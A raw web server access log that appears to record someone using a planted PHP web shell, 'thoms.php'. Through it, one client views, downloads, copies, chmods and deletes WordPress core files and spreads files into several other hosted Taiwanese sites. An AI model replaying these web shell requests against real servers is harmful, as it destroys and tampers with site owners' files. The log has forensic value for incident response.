45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 200 13177 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?dl=kses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?chmod=embed-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?del=plugin.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?chmod=style-engine&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 200 12750 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 200 17526 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59211 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 200 12413 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?dl=class-wp-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:34 -0400] "GET /thoms.php?dl=block-bindings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 200 12235 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcategory.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcategory.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?del=class-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:35 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?del=ms-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fauthor-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fauthor-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 200 15959 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?del=fonts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:36 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 200 24004 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffonts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffonts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 200 39612 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 200 12415 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?del=IXR&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=IXR&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:37 -0400] "GET /thoms.php?del=cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20624 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p= HTTP/1.1" 200 12378 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20631 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22539 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11424 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22647 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22556 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
